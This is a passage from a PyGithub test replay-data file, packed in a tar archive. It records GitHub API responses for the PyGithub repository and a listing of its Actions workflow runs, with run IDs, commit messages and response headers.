v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Workflow.testGetRunsWithNoArguments.txt0000644000175100001660000012120414756101563026036 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/actions/workflows/1026390/runs {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 20 May 2020 05:00:10 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1589954408'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"e095e8fc0497b53aa5e046973926a3b6"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E714:401B:1114CB:13775E:5EC4B959')] {"total_count":4,"workflow_runs":[{"id":109950033,"node_id":"MDExOldvcmtmbG93UnVuMTA5OTUwMDMz","head_branch":"master","head_sha":"61b610926a023d80486ce1115e7331a4c714cfcb","run_number":112,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/109950033","pull_requests":[],"created_at":"2020-05-20T02:37:57Z","updated_at":"2020-05-20T02:40:25Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/698432067","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"61b610926a023d80486ce1115e7331a4c714cfcb","tree_id":"f8bb127aac01f2185fa6d65914859a980d1f89b2","message":"Remove unneeded duplicate string checks in Branch (#1524)\n\nThere were multiple calls checking if an element of a list was a string\r\nor a string -- I suspect this pre-dates use of six in the code base, but\r\nlet's clean it up.","timestamp":"2020-05-20T02:37:52Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":109168419,"node_id":"MDExOldvcmtmbG93UnVuMTA5MTY4NDE5","head_branch":"remove-duplicated-str-check","head_sha":"b1dd24bf8dc94cf76b6b5084ab3ad26f839e77cf","run_number":111,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109168419","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/109168419","pull_requests":[],"created_at":"2020-05-19T10:39:04Z","updated_at":"2020-05-19T10:41:34Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109168419/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109168419/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/695709121","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109168419/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109168419/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109168419/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"b1dd24bf8dc94cf76b6b5084ab3ad26f839e77cf","tree_id":"f8bb127aac01f2185fa6d65914859a980d1f89b2","message":"Remove unneeded duplicate string checks in Branch\n\nThere were multiple calls checking if an element of a list was a string\nor a string -- I suspect this pre-dates use of six in the code base, but\nlet's clean it up.","timestamp":"2020-05-19T10:35:05Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":129349732,"node_id":"MDEwOlJlcG9zaXRvcnkxMjkzNDk3MzI=","name":"PyGithub","full_name":"s-t-e-v-e-n-k/PyGithub","private":false,"owner":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars0.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"html_url":"https://github.com/s-t-e-v-e-n-k/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub","forks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/forks","keys_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/teams","hooks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/events","assignees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/tags","blobs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/languages","stargazers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscription","commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/merges","archive_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/downloads","issues_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/deployments"}},{"id":108934155,"node_id":"MDExOldvcmtmbG93UnVuMTA4OTM0MTU1","head_branch":"create-from-template","head_sha":"30e710081e25ab76562d1ad28540d47e5cf483ed","run_number":110,"event":"pull_request","status":"completed","conclusion":"failure","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108934155","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/108934155","pull_requests":[],"created_at":"2020-05-19T05:51:36Z","updated_at":"2020-05-19T05:54:02Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108934155/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108934155/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/694966613","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108934155/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108934155/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108934155/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"30e710081e25ab76562d1ad28540d47e5cf483ed","tree_id":"3823b6182ad89730a0ed076e8063b731e6171a16","message":"Merge branch 'master' into create-from-template","timestamp":"2020-03-12T16:33:02Z","author":{"name":"Isac Souza","email":"isouza@daitan.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_